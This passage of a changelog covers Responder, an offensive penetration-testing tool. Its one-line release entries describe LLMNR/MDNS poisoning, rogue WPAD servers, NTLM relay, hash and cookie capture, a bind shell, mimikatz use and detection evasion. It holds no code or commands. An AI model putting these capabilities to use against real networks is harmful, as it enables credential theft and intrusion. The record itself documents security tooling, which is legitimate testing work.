<small>[Compare with v2.3.3.6](https://github.com/lgandx/Responder/compare/v2.3.3.6...v2.3.3.7)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Add in check for uptime since March 14th 2017, which could indicate the system is vulnerable to MS17-010 ([5859c31](https://github.com/lgandx/Responder/commit/5859c31e8ecf35c5b12ac653e8ab793bc9270604) by Matt Kelly).
|
||||
- Add Microsoft SQL Server Browser responder ([bff935e](https://github.com/lgandx/Responder/commit/bff935e71ea401a4477004022623b1617ac090b3) by Matthew Daley).
|
||||
- added: mimi32 cmd, MultiRelay random RPC & Namedpipe & latest mimikatz ([38219e2](https://github.com/lgandx/Responder/commit/38219e249e700c1b20317e0b96f4a120fdfafb98) by lgandx).
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixed various bugs and improved the LDAP module. ([be26b50](https://github.com/lgandx/Responder/commit/be26b504b5133c78158d9794cd361ce1a7418775) by lgandx).
|
||||
- Fixed space typo in FindSMB2UPTime.py ([11c0096](https://github.com/lgandx/Responder/commit/11c00969c36b2ed51763ee6c975870b05e84cdcb) by myst404).
|
||||
- Fixed instances of "CRTL-C" to "CTRL-C" ([44a4e49](https://github.com/lgandx/Responder/commit/44a4e495ccb21098c6b882feb25e636510fc72b9) by Randy Ramos).
|
||||
|
||||
## [v2.3.3.6](https://github.com/lgandx/Responder/releases/tag/v2.3.3.6) - 2017-03-29
|
||||
|
||||
<small>[Compare with v2.3.3.5](https://github.com/lgandx/Responder/compare/v2.3.3.5...v2.3.3.6)</small>
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixed bug in FindSMB2UPTime ([6f3cc45](https://github.com/lgandx/Responder/commit/6f3cc4564c9cf34b75ef5469fd54edd4b3004b54) by lgandx).
|
||||
|
||||
### Removed
|
||||
|
||||
- Removed Paypal donation link. ([b05bdca](https://github.com/lgandx/Responder/commit/b05bdcab9600ad4e7ef8b70e2d8ee1b03b8b442a) by lgandx).
|
||||
|
||||
## [v2.3.3.5](https://github.com/lgandx/Responder/releases/tag/v2.3.3.5) - 2017-02-18
|
||||
|
||||
<small>[Compare with v2.3.3.4](https://github.com/lgandx/Responder/compare/v2.3.3.4...v2.3.3.5)</small>
|
||||
|
||||
## [v2.3.3.4](https://github.com/lgandx/Responder/releases/tag/v2.3.3.4) - 2017-02-18
|
||||
|
||||
<small>[Compare with v2.3.3.3](https://github.com/lgandx/Responder/compare/v2.3.3.3...v2.3.3.4)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added: Hashdump, Stats report ([21d48be](https://github.com/lgandx/Responder/commit/21d48be98fd30a9fd0747588cbbb070ed0ce100b) by lgandx).
|
||||
- added `ip` commands in addition to ifconfig and netstat ([db61f24](https://github.com/lgandx/Responder/commit/db61f243c9cc3c9821703c78e780e745703c0bb3) by thejosko).
|
||||
|
||||
### Fixed
|
||||
|
||||
- fixed crash: typo. ([0642999](https://github.com/lgandx/Responder/commit/0642999741b02de79266c730cc262bb3345644f9) by lgandx).
|
||||
- Fix for RandomChallenge function. Function getrandbits can return less than 64 bits, thus decode('hex') will crash with TypeError: Odd-length string ([de6e869](https://github.com/lgandx/Responder/commit/de6e869a7981d49725e791303bd16c4159d70880) by Gifts).
|
||||
- Fix Proxy_Auth. Random challenge broke it. ([5a2ee18](https://github.com/lgandx/Responder/commit/5a2ee18bfaa66ff245747cf8afc114a9a894507c) by Timon Hackenjos).
|
||||
|
||||
## [v2.3.3.3](https://github.com/lgandx/Responder/releases/tag/v2.3.3.3) - 2017-01-03
|
||||
|
||||
<small>[Compare with v2.3.3.2](https://github.com/lgandx/Responder/compare/v2.3.3.2...v2.3.3.3)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added: Random challenge for each requests (default) ([0d441d1](https://github.com/lgandx/Responder/commit/0d441d1899053fde6792288fc83be0c883df19f0) by lgandx).
|
||||
|
||||
## [v2.3.3.2](https://github.com/lgandx/Responder/releases/tag/v2.3.3.2) - 2017-01-03
|
||||
|
||||
<small>[Compare with v2.3.3.1](https://github.com/lgandx/Responder/compare/v2.3.3.1...v2.3.3.2)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added: Random challenge for each requests (default) ([1d38cd3](https://github.com/lgandx/Responder/commit/1d38cd39af9154f5a9e898428de25fe0afa68d2f) by lgandx).
|
||||
- Added paypal button ([17dc81c](https://github.com/lgandx/Responder/commit/17dc81cb6833a91300d0669398974f0ed9bc006e) by lgandx).
|
||||
- Added: Scripting support. -c and -d command line switch ([ab2d890](https://github.com/lgandx/Responder/commit/ab2d8907f033384e593a38073e50604a834f4bf3) by lgandx).
|
||||
- Added: BTC donation address ([730808c](https://github.com/lgandx/Responder/commit/730808c83c0c7f67370ceeff977b0e727eb28ea4) by lgandx).
|
||||
|
||||
### Removed
|
||||
|
||||
- Removed ThreadingMixIn. MultiRelay should process one request at the timeand queue the next ones. ([4a7499d](https://github.com/lgandx/Responder/commit/4a7499df039269094c718eb9e19760e79eea86f7) by lgandx).
|
||||
|
||||
## [v2.3.3.1](https://github.com/lgandx/Responder/releases/tag/v2.3.3.1) - 2016-10-18
|
||||
|
||||
<small>[Compare with v2.3.3.0](https://github.com/lgandx/Responder/compare/v2.3.3.0...v2.3.3.1)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added: Logs dumped files for multiple targets ([d560105](https://github.com/lgandx/Responder/commit/d5601056b386a7ae3ca167f0562cbe87bf004c38) by lgandx).
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixed wrong challenge issue ([027f841](https://github.com/lgandx/Responder/commit/027f841cdf11fd0ad129825dcc70d6ac8b5d3983) by lgandx).
|
||||
|
||||
## [v2.3.3.0](https://github.com/lgandx/Responder/releases/tag/v2.3.3.0) - 2016-10-12
|
||||
|
||||
<small>[Compare with v2.3.2.8](https://github.com/lgandx/Responder/compare/v2.3.2.8...v2.3.3.0)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added: Compability for Multi-Relay ([5b06173](https://github.com/lgandx/Responder/commit/5b0617361ede8df67caad4ca89723ad18a67fa53) by lgandx).
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fix values for win98 and win10 (requested here: https://github.com/lgandx/Responder/pull/7/commits/d9d34f04cddbd666865089d809eb5b3d46dd9cd4) ([60c91c6](https://github.com/lgandx/Responder/commit/60c91c662607c3991cb760c7dd221e81cfb69518) by lgandx).
|
||||
- Fixed the bind to interface issue (https://github.com/lgandx/Responder/issues/6) ([ce211f7](https://github.com/lgandx/Responder/commit/ce211f7fcfa7ea9e3431161fec5075ca63730070) by lgandx).
|
||||
- fixed bug in hash parsing. ([0cf1087](https://github.com/lgandx/Responder/commit/0cf1087010088ef1c3fecc7d2ad851c7c49d0639) by lgandx).
|
||||
|
||||
### Changed
|
||||
|
||||
- Changed to executable ([3e46ecd](https://github.com/lgandx/Responder/commit/3e46ecd27e53c58c3dc38888a2db1d3340a5a3ab) by lgandx).
|
||||
|
||||
## [v2.3.2.8](https://github.com/lgandx/Responder/releases/tag/v2.3.2.8) - 2016-10-06
|
||||
|
||||
<small>[Compare with v2.3.2.7](https://github.com/lgandx/Responder/compare/v2.3.2.7...v2.3.2.8)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added: Now delete services on the fly. ([c6e401c](https://github.com/lgandx/Responder/commit/c6e401c2290fbb6c68bbc396915ea3fa7b11b5f0) by lgandx).
|
||||
|
||||
## [v2.3.2.7](https://github.com/lgandx/Responder/releases/tag/v2.3.2.7) - 2016-10-05
|
||||
|
||||
<small>[Compare with v2.3.2.6](https://github.com/lgandx/Responder/compare/v2.3.2.6...v2.3.2.7)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added: Possibility to target all users. use 'ALL' with -u ([d81ef9c](https://github.com/lgandx/Responder/commit/d81ef9c33ab710f973c68f60cd0b7960f9e4841b) by lgandx).
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixed minor bug ([7054c60](https://github.com/lgandx/Responder/commit/7054c60f38cafc7e1c4d8a6ce39e12afbfc8b482) by lgandx).
|
||||
|
||||
## [v2.3.2.6](https://github.com/lgandx/Responder/releases/tag/v2.3.2.6) - 2016-10-05
|
||||
|
||||
<small>[Compare with v2.3.2.5](https://github.com/lgandx/Responder/compare/v2.3.2.5...v2.3.2.6)</small>
|
||||
|
||||
## [v2.3.2.5](https://github.com/lgandx/Responder/releases/tag/v2.3.2.5) - 2016-10-03
|
||||
|
||||
<small>[Compare with v2.3.2.4](https://github.com/lgandx/Responder/compare/v2.3.2.4...v2.3.2.5)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added logs folder. ([cd09e19](https://github.com/lgandx/Responder/commit/cd09e19a9363867a75d7db1dea4830969bc0d68e) by lgandx).
|
||||
- Added: Cross-protocol NTLMv1-2 relay (beta). ([ab67070](https://github.com/lgandx/Responder/commit/ab67070a2b82e94f2abb506a69f8fa8c0dc09852) by lgandx).
|
||||
|
||||
### Removed
|
||||
|
||||
- Removed logs folder. ([5d83778](https://github.com/lgandx/Responder/commit/5d83778ac7caba920874dc49f7523c6ef80b6d7b) by lgandx).
|
||||
|
||||
## [v2.3.2.4](https://github.com/lgandx/Responder/releases/tag/v2.3.2.4) - 2016-09-12
|
||||
|
||||
<small>[Compare with v2.3.2.3](https://github.com/lgandx/Responder/compare/v2.3.2.3...v2.3.2.4)</small>
|
||||
|
||||
## [v2.3.2.3](https://github.com/lgandx/Responder/releases/tag/v2.3.2.3) - 2016-09-12
|
||||
|
||||
<small>[Compare with v2.3.2.2](https://github.com/lgandx/Responder/compare/v2.3.2.2...v2.3.2.3)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added new option in Responder.conf. Capture multiple hashes from the same client. Default is On. ([35d933d](https://github.com/lgandx/Responder/commit/35d933d5964df607ec714ced93e4cb197ff2bfe7) by lgandx).
|
||||
|
||||
## [v2.3.2.2](https://github.com/lgandx/Responder/releases/tag/v2.3.2.2) - 2016-09-12
|
||||
|
||||
<small>[Compare with v2.3.2.1](https://github.com/lgandx/Responder/compare/v2.3.2.1...v2.3.2.2)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added support for webdav, auto credz. ([ad9ce6e](https://github.com/lgandx/Responder/commit/ad9ce6e659ffd9dd31714260f906c8de02223398) by lgandx).
|
||||
- Added option -e, specify an external IP address to redirect poisoned traffic to. ([04c270f](https://github.com/lgandx/Responder/commit/04c270f6b75cd8eb833cca3b71965450d925e6ac) by lgandx).
|
||||
|
||||
### Removed
|
||||
|
||||
- removed debug info ([3e2e375](https://github.com/lgandx/Responder/commit/3e2e375987ce2ae03e6a88ffadabb13823ba859c) by lgandx).
|
||||
|
||||
## [v2.3.2.1](https://github.com/lgandx/Responder/releases/tag/v2.3.2.1) - 2016-09-11
|
||||
|
||||
<small>[Compare with v2.3.2](https://github.com/lgandx/Responder/compare/v2.3.2...v2.3.2.1)</small>
|
||||
|
||||
## [v2.3.2](https://github.com/lgandx/Responder/releases/tag/v2.3.2) - 2016-09-11
|
||||
|
||||
<small>[Compare with v2.3.1](https://github.com/lgandx/Responder/compare/v2.3.1...v2.3.2)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added proxy auth server + various fixes and improvements ([82fe64d](https://github.com/lgandx/Responder/commit/82fe64dfd988321cbc1a8cb3d8f01caa38f4193e) by lgandx).
|
||||
- Added current date for all HTTP headers, avoiding easy detection ([ecd62c3](https://github.com/lgandx/Responder/commit/ecd62c322f48eadb235312ebb1e57375600ef0f1) by lgandx).
|
||||
|
||||
### Removed
|
||||
|
||||
- Removed useless HTTP headers ([881dae5](https://github.com/lgandx/Responder/commit/881dae59cf3c95047d82b34208f57f94b3e85b04) by lgandx).
|
||||
|
||||
## [v2.3.1](https://github.com/lgandx/Responder/releases/tag/v2.3.1) - 2016-09-09
|
||||
|
||||
<small>[Compare with v2.3.0](https://github.com/lgandx/Responder/compare/v2.3.0...v2.3.1)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added SMBv2 support enabled by default. ([85d7974](https://github.com/lgandx/Responder/commit/85d7974513a9b6378ed4c0c07a7dd640c27ead9b) by lgandx).
|
||||
- added new option, for Config-Responder.log file. ([a9c2b29](https://github.com/lgandx/Responder/commit/a9c2b297c6027030e3f83c7626fff6f66d5a4f1b) by lgaffie).
|
||||
- Add compatability with newer net-tools ifconfig. ([e19e349](https://github.com/lgandx/Responder/commit/e19e34997e68a2f567d04d0c013b7870530b7bfd) by Hank Leininger).
|
||||
- Add HTTP Referer logging ([16e6464](https://github.com/lgandx/Responder/commit/16e6464748d3497943a9d96848ead9058dc0f7e9) by Hubert Seiwert).
|
||||
- Added recent Windows versions. ([6eca29d](https://github.com/lgandx/Responder/commit/6eca29d08cdd0d259760667da0c41e76d2cd2693) by Jim Shaver).
|
||||
- Added: Support for OSx ([59e48e8](https://github.com/lgandx/Responder/commit/59e48e80dd6153f83899413c2fc71a46367d4abf) by lgandx).
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixed colors in log files ([d9258e2](https://github.com/lgandx/Responder/commit/d9258e2dd80ab1d62767377250c76bf5c9f2a50d) by lgaffie).
|
||||
- Fixed the regexes for Authorization: headers. ([a81a9a3](https://github.com/lgandx/Responder/commit/a81a9a31e4dbef2890fbf51830b6a9374d6a8f8a) by Hank Leininger).
|
||||
- Fix Windows 10 support. ([a84b351](https://github.com/lgandx/Responder/commit/a84b3513e1fdd47025ceaa743ce0f506f162640b) by ValdikSS).
|
||||
- Fixed color bug in Analyze mode ([04c841d](https://github.com/lgandx/Responder/commit/04c841d34e0d32970f08ae91ad0f931b1b90d6ab) by lgandx).
|
||||
- fixed minor bug ([6f8652c](https://github.com/lgandx/Responder/commit/6f8652c0fccfe83078254d7b38cb9fd517a6bf42) by lgandx).
|
||||
- Fixed Icmp-Redirect.. ([df63c1f](https://github.com/lgandx/Responder/commit/df63c1fc138d1682a86bc2114a5352ae897865c6) by lgandx).
|
||||
- Fixed some tools and +x on some executables ([8171a96](https://github.com/lgandx/Responder/commit/8171a96b9eaac3cd25ef18e8ec8b303c5877f4d0) by lgandx).
|
||||
- Fix generation of HTTP response in HTTP proxy ([b2830e0](https://github.com/lgandx/Responder/commit/b2830e0a4f46f62db4d34b3e8f93ea505be32000) by Antonio Herraiz).
|
||||
- Fix misspelling of poisoners ([6edc01d](https://github.com/lgandx/Responder/commit/6edc01d8511189489e4b5fd9873f25712920565c) by IMcPwn).
|
||||
|
||||
### Changed
|
||||
|
||||
- change IsOSX to utils.IsOsX. Fixes #89 ([08c3a90](https://github.com/lgandx/Responder/commit/08c3a90b400d0aff307dd43ff4cd6f01ca71a6cb) by Jared Haight).
|
||||
- Changed email address ([f5a8bf0](https://github.com/lgandx/Responder/commit/f5a8bf0650bc088b6ef5ae7432f2baef0d52852c) by lgandx).
|
||||
- Changed connection to SQlite db to support different encoded charsets ([0fec40c](https://github.com/lgandx/Responder/commit/0fec40c3b4c621ee21a88906e77c6ea7a56cb8a9) by Yannick Méheut).
|
||||
- Changed comment to be more clear about what is being done when logging ([08535e5](https://github.com/lgandx/Responder/commit/08535e55391d762be4259a1fada330ef3f0ac134) by Yannick Méheut).
|
||||
|
||||
### Removed
|
||||
|
||||
- Removed the config dump in Responder-Session.log. New file gets created in logs, with host network config such as dns, routes, ifconfig and config dump ([a765a8f](https://github.com/lgandx/Responder/commit/a765a8f0949de37940364d0a228aff72c0701aa0) by lgaffie).
|
||||
|
||||
## [v2.3.0](https://github.com/lgandx/Responder/releases/tag/v2.3.0) - 2015-09-11
|
||||
|
||||
<small>[Compare with v2.1.4](https://github.com/lgandx/Responder/compare/v2.1.4...v2.3.0)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added support for Samba4 clients ([ee033e0](https://github.com/lgandx/Responder/commit/ee033e0c7f28a0584c8ebcb2c31fe949581f0022) by lgandx).
|
||||
- Added support for upstream proxies for the rogue WPAD server ([f4bd612](https://github.com/lgandx/Responder/commit/f4bd612e083698fd94308fd2fd15ba7d8d289fd8) by jrmdev).
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixed Harsh Parser variable typo ([5ab431a](https://github.com/lgandx/Responder/commit/5ab431a4fe24a2ba4666b9c51ad59a0bb8a0053d) by lgandx).
|
||||
- fixed var name ([62ed8f0](https://github.com/lgandx/Responder/commit/62ed8f00626a2ad0fbbfb845e808d77938f4513a) by byt3bl33d3r).
|
||||
- Fixes MDNS Name parsing error ([3261288](https://github.com/lgandx/Responder/commit/3261288c82fee415dd8e1ba64b80596ef97da490) by byt3bl33d3r).
|
||||
- Fixed FTP module. ([75664a4](https://github.com/lgandx/Responder/commit/75664a4f37feb897be52480223cd1633d322ede8) by jrmdev).
|
||||
- Fixing a bug in HTTP proxy, was calling recv() too many times ([ddaa9f8](https://github.com/lgandx/Responder/commit/ddaa9f87674dc8ac3f9104196f2f92cdec130682) by lanjelot).
|
||||
|
||||
### Changed
|
||||
|
||||
- changed operand ([cb9c2c8](https://github.com/lgandx/Responder/commit/cb9c2c8b97761cc5e00051efd74c9c3fdaf5762d) by byt3bl33d3r).
|
||||
|
||||
## [v2.1.4](https://github.com/lgandx/Responder/releases/tag/v2.1.4) - 2014-12-06
|
||||
|
||||
<small>[Compare with v2.1.3](https://github.com/lgandx/Responder/compare/v2.1.3...v2.1.4)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added: FindSMB2UPTime script. Find when is the last time a >= 2008 server was updated. ([7a95ef1](https://github.com/lgandx/Responder/commit/7a95ef1474d3cea88680f359581aa89a4e9c30f5) by lgandx).
|
||||
|
||||
## [v2.1.3](https://github.com/lgandx/Responder/releases/tag/v2.1.3) - 2014-11-27
|
||||
|
||||
<small>[Compare with v2.1.2](https://github.com/lgandx/Responder/compare/v2.1.2...v2.1.3)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added: DontRespondToName and DontRespondTo; NAC/IPS detection evasion ([36ef78f](https://github.com/lgandx/Responder/commit/36ef78f85aea5db33f37a6d1d73bf3bb7f82336f) by lgandx).
|
||||
- Added --version and kost's fix for /etc/resolv.conf empty lines parsing. ([c05bdfc](https://github.com/lgandx/Responder/commit/c05bdfce17234b216b408080d9aba5db443de507) by lgandx).
|
||||
|
||||
## [v2.1.2](https://github.com/lgandx/Responder/releases/tag/v2.1.2) - 2014-08-26
|
||||
|
||||
<small>[Compare with v2.1.0](https://github.com/lgandx/Responder/compare/v2.1.0...v2.1.2)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added: Log command line in Responder-Session.log. ([f69e93c](https://github.com/lgandx/Responder/commit/f69e93c02e81a83309d3863f6d5680b36378a16b) by lgandx).
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixed serve-always and serve-exe with the new WPAD server. ([cf7b477](https://github.com/lgandx/Responder/commit/cf7b4771caf335a1a283fae08923c413acae3343) by lgandx).
|
||||
|
||||
## [v2.1.0](https://github.com/lgandx/Responder/releases/tag/v2.1.0) - 2014-08-16
|
||||
|
||||
<small>[Compare with v2.0.9](https://github.com/lgandx/Responder/compare/v2.0.9...v2.1.0)</small>
|
||||
|
||||
### Fixed
|
||||
|
||||
- fixed: identation. ([5c9fec9](https://github.com/lgandx/Responder/commit/5c9fec923c8cb77f00466db6192b1ecb8980bdcf) by lgandx).
|
||||
|
||||
## [v2.0.9](https://github.com/lgandx/Responder/releases/tag/v2.0.9) - 2014-05-28
|
||||
|
||||
<small>[Compare with v2.0.8](https://github.com/lgandx/Responder/compare/v2.0.8...v2.0.9)</small>
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixed high cpu usage in some specific cases ([4558861](https://github.com/lgandx/Responder/commit/4558861ce2dd56c0e4c5157437c8726a26e382c5) by lgandx).
|
||||
|
||||
### Removed
|
||||
|
||||
- Removed: old style options. Just use -r instead of -r On ([a21aaf7](https://github.com/lgandx/Responder/commit/a21aaf7987e26eee5455d68cd76ff56b5466b7f2) by lgandx).
|
||||
|
||||
## [v2.0.8](https://github.com/lgandx/Responder/releases/tag/v2.0.8) - 2014-04-22
|
||||
|
||||
<small>[Compare with v2.0.7](https://github.com/lgandx/Responder/compare/v2.0.7...v2.0.8)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added: in-scope target, windows >= Vista support (-R) and unicast answers only. ([2e4ed61](https://github.com/lgandx/Responder/commit/2e4ed61bba2df61a1e1165b466a369639c425955) by lgandx).
|
||||
|
||||
## [v2.0.7](https://github.com/lgandx/Responder/releases/tag/v2.0.7) - 2014-04-16
|
||||
|
||||
<small>[Compare with v2.0.6](https://github.com/lgandx/Responder/compare/v2.0.6...v2.0.7)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added: in-scope llmnr/nbt-ns name option ([1c79bed](https://github.com/lgandx/Responder/commit/1c79bedac9083992ba019ff7134cdb3c718a6f15) by lgandx).
|
||||
- Added: Kerberos server and -d cli option. ([dcede0f](https://github.com/lgandx/Responder/commit/dcede0fdf5e060e77fc51fbad2da3dbbff8edf8d) by lgandx).
|
||||
|
||||
## [v2.0.6](https://github.com/lgandx/Responder/releases/tag/v2.0.6) - 2014-04-01
|
||||
|
||||
<small>[Compare with v2.0.5](https://github.com/lgandx/Responder/compare/v2.0.5...v2.0.6)</small>
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixed [Enter] key issue ([c97a13c](https://github.com/lgandx/Responder/commit/c97a13c1bdb79b4dcdf43f889fdd586c3c39b893) by lgandx).
|
||||
|
||||
## [v2.0.5](https://github.com/lgandx/Responder/releases/tag/v2.0.5) - 2014-03-22
|
||||
|
||||
<small>[Compare with v2.0.4](https://github.com/lgandx/Responder/compare/v2.0.4...v2.0.5)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added: In-scope IP handling for MDNS ([b14ff0b](https://github.com/lgandx/Responder/commit/b14ff0b36a100736f293ddbd8bbe1c538a370347) by lgandx).
|
||||
|
||||
## [v2.0.4](https://github.com/lgandx/Responder/releases/tag/v2.0.4) - 2014-03-22
|
||||
|
||||
<small>[Compare with v2.0.3](https://github.com/lgandx/Responder/compare/v2.0.3...v2.0.4)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added: MDNS Poisoner ([90479ad](https://github.com/lgandx/Responder/commit/90479adcca066602885ea2bfec32953ce71d6977) by lgandx).
|
||||
|
||||
## [v2.0.3](https://github.com/lgandx/Responder/releases/tag/v2.0.3) - 2014-03-21
|
||||
|
||||
<small>[Compare with v2.0.2](https://github.com/lgandx/Responder/compare/v2.0.2...v2.0.3)</small>
|
||||
|
||||
### Fixed
|
||||
|
||||
- fix: Bind to interface bug. ([a1a4f46](https://github.com/lgandx/Responder/commit/a1a4f46c7ba8861ff71c1ea2045a72acf2c829bd) by lgandx).
|
||||
|
||||
## [v2.0.2](https://github.com/lgandx/Responder/releases/tag/v2.0.2) - 2014-02-06
|
||||
|
||||
<small>[Compare with v2.0.1](https://github.com/lgandx/Responder/compare/v2.0.1...v2.0.2)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added: Analyze mode; Lanman Domain/SQL/Workstation passive discovery. ([2c9273e](https://github.com/lgandx/Responder/commit/2c9273eb2ca8d5080ff81273f602547fe649c259) by lgandx).
|
||||
|
||||
## [v2.0.1](https://github.com/lgandx/Responder/releases/tag/v2.0.1) - 2014-01-30
|
||||
|
||||
<small>[Compare with first commit](https://github.com/lgandx/Responder/compare/e821133708098c74497a3f9b0387a3ad048d5a48...v2.0.1)</small>
|
||||
|
||||
### Added
|
||||
|
||||
- Added: Analyze ICMP Redirect plausibility on current subnet. ([06df704](https://github.com/lgandx/Responder/commit/06df704960c556e3c2261a52827d55eb7b4ed0d4) by lgandx).
|
||||
- Added: Analyze stealth mode. See all traffic, but dont answer (-A cli). Minor bugs also fixed. ([9bb2f81](https://github.com/lgandx/Responder/commit/9bb2f81044cd94f36f54c8daf7f1183bc761bb24) by lgandx).
|
||||
- Added: -F command line switch to force authentication on PAC file retrieval. Default is Off ([3f48c11](https://github.com/lgandx/Responder/commit/3f48c114d5e713bfe68bef1717e18d3c266f358e) by lgandx).
|
||||
- Added: IMAP module and enhanced wpad. ([af60de9](https://github.com/lgandx/Responder/commit/af60de95679f20eca4765b1450f80c48fbef689c) by lgandx).
|
||||
- Added: SMTP PLAIN/LOGIN module ([6828f1b](https://github.com/lgandx/Responder/commit/6828f1b11ebfc0fc25a8fd00e8f373f3adfb7fc6) by lgandx).
|
||||
- Added: POP3 module. ([f48ea3f](https://github.com/lgandx/Responder/commit/f48ea3f4b644c3eb25c63d402c6d30fcd29be529) by lgandx).
|
||||
- Added: MSSQL Plaintext module ([4c3a494](https://github.com/lgandx/Responder/commit/4c3a494c86b7a95cf2c43a71bac182f231bf71cb) by lgandx).
|
||||
- Added: SMBRelay module ([4dd9d8c](https://github.com/lgandx/Responder/commit/4dd9d8c1df3717ed928e73083c30e21aa5eaf8b4) by lgandx).
|
||||
- added: Command switch -v for verbose mode. Responder is now less verbose. ([46b98a6](https://github.com/lgandx/Responder/commit/46b98a616d540ae618198784d0775e687371858e) by lgandx).
|
||||
- Added support for .pac file requests. ([6b7e5b6](https://github.com/lgandx/Responder/commit/6b7e5b6441c7fdf19a163b8efb6fd588ccfee8ae) by lgandx).
|
||||
- Added: print HTTP URL, POST data requested prior auth ([f616718](https://github.com/lgandx/Responder/commit/f6167183e046d2759ab6b885dd2f94bb2902c564) by lgandx).
|
||||
- Added command switch -I. This option override Responder.conf Bind_to setting ([68de4ac](https://github.com/lgandx/Responder/commit/68de4ac26ec34bbf24524abb0c0b11ae34aa27a3) by lgandx).
|
||||
- Added: in-scope only target. See Responder.conf. ([0465bd6](https://github.com/lgandx/Responder/commit/0465bd604d7cc22ef2c97f938d8564677030e5bd) by lgandx).
|
||||
- Added: Fake access denied html page ([9b608aa](https://github.com/lgandx/Responder/commit/9b608aad30529e2bfea4d7c6e99343df0ba2d9d0) by lgandx).
|
||||
- Added: Configuration file, removed several cli options and several fixes. ([95eed09](https://github.com/lgandx/Responder/commit/95eed099424568d4c67402f12a5de5d9d72c3041) by lgandx).
|
||||
- Added: Configuration file for Responder ([d573102](https://github.com/lgandx/Responder/commit/d57310273df524b99d17c97b49ee35eb3aec7b52) by lgandx).
|
||||
- Added: Bind shell listening on port 140, use it with -e or -exe option if needed ([1079de0](https://github.com/lgandx/Responder/commit/1079de052b7cc7c6caeb80e6ee081568ff359317) by Lgandx).
|
||||
- Added: Ability to serve whatever kind of file via HTTP and WPAD There's now 3 new options. ([a8c2952](https://github.com/lgandx/Responder/commit/a8c29522db3555f7733a80d29271b3229e1149c6) by Lgandx).
|
||||
- added -I option to bind all sockets to a specific ip (eg: listen only on eth0) ([d5088b2](https://github.com/lgandx/Responder/commit/d5088b24ee3d8bead640b37480be57fe564e70b5) by Lgandx).
|
||||
- added: HTTP auth forward to SMB. This is useful for SMB Relay or LM downgrade from HTTP NTLM ESS to SMB LM. ([0fcaa68](https://github.com/lgandx/Responder/commit/0fcaa68c074e496edb2164ca35659ff636b5a361) by Lgandx).
|
||||
- added automatic poisoning mode when a primary and a secondary DNS is specified. ([ccbbbe3](https://github.com/lgandx/Responder/commit/ccbbbe34535c12b664a39f5a99f98c1da79ca5a6) by Lgandx).
|
||||
- Added HTTPS module. ([9250281](https://github.com/lgandx/Responder/commit/92502814aa3becdd064f0bfb160af826adb42f60) by Lgandx).
|
||||
- Added support for LM hash downgrade. Default still NTLMSSP. ([09f8f72](https://github.com/lgandx/Responder/commit/09f8f7230d66cb35e1e6bed9fb2c9133ad5cc415) by Lgandx).
|
||||
- Added: Client ip is now part of the cookie filename ([2718f9c](https://github.com/lgandx/Responder/commit/2718f9c51310e18e91d6d90c86657bdd72889f2a) by Lgandx).
|
||||
- Added a folder for storing HTTP cookies files ([d1a14e2](https://github.com/lgandx/Responder/commit/d1a14e2f27d856ca1551232502835d6cddb3602d) by Lgandx).
|
||||
- Added WPAD transparent proxy ([9f1c3bc](https://github.com/lgandx/Responder/commit/9f1c3bcba32c6feb008a39ece688522dcd9e757f) by Lgandx).
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixed WPAD cookie capture ([afe2b63](https://github.com/lgandx/Responder/commit/afe2b63c6a556a6da97e7ac89c96f89276d521c3) by lgandx).
|
||||
- Fix: Command line switch typo ([4fb4233](https://github.com/lgandx/Responder/commit/4fb4233424273849085781225298de39b6c9c098) by lgandx).
|
||||
- Fixed minor bugs ([f8a16e2](https://github.com/lgandx/Responder/commit/f8a16e28ee15a3af91542269e5b1ec9c69ea3d75) by Lgandx).
|
||||
- Fixed duplicate entry in hash file for machine accounts ([4112b1c](https://github.com/lgandx/Responder/commit/4112b1cd5d06f021dcc145f32d29b53d4cb8d82a) by Lgandx).
|
||||
- fix for anonymous NTLM connection for LDAP server ([1c47e7f](https://github.com/lgandx/Responder/commit/1c47e7fcb112d0efdb509e56a1b08d557eb9f375) by Lgandx).
|
||||
|
||||
### Changed
|
||||
|
||||
- Changed WPAD to Off by default. Use command line -w On to enable. ([bf2fdf0](https://github.com/lgandx/Responder/commit/bf2fdf083cdadf81747f87eb138a474911928b77) by lgandx).
|
||||
- changed .txt to no extension. ([5f7bfa8](https://github.com/lgandx/Responder/commit/5f7bfa8cbe75d0c7fd24c8a83c44a5c3b02717a4) by lgandx).
|
||||
- Changed Windows =< 5.2 documentation to XP/2003 and earlier for clarification ([56dd7b8](https://github.com/lgandx/Responder/commit/56dd7b828cf85b88073e88a8b4409f7dae791d49) by Garret Picchioni).
|
||||
|
||||
### Removed
|
||||
|
||||
- Removed bind to interface support for OsX. Responder for OsX can only listen on all interfaces. ([dbfdc27](https://github.com/lgandx/Responder/commit/dbfdc2783156cfeede5114735ae018a925b3fa78) by lgandx).
|
||||
|
76
Contributors
Normal file
76
Contributors
Normal file
|
